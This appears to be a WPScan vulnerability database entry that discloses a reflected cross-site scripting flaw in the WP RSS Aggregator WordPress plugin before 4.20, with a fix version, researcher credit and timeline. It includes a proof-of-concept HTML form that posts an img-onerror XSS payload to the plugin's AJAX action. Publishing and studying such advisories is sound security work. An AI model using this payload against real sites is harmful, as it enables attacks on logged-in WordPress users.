WordPress Plugin Vulnerabilities
WP RSS Aggregator < 4.20 - Reflected Cross-Site Scripting (XSS)
Description
The plugin does not sanitise and escape the id parameter in the wprss_fetch_items_row_action AJAX action before outputting it back in the response, leading to a Reflected Cross-Site Scripting
Proof of Concept
Save the HTML below to a file with the .html extension, then open it in Firefox, while being authenticated in a separate tab to a WordPress site with the plugin installed.
<html>
<form action="http://example.com/wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action" method="POST">
<input type="text" value="<html><img src onerror=alert(`XSS`)>" name="id">
<input type="submit" value="Send">
</form>
</html>
Affects Plugins
Fixed in 4.20 References
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-01-26 (about 2 years ago)
Added
2022-01-26 (about 2 years ago)
Last Updated
2022-04-09 (about 2 years ago)
WPScan 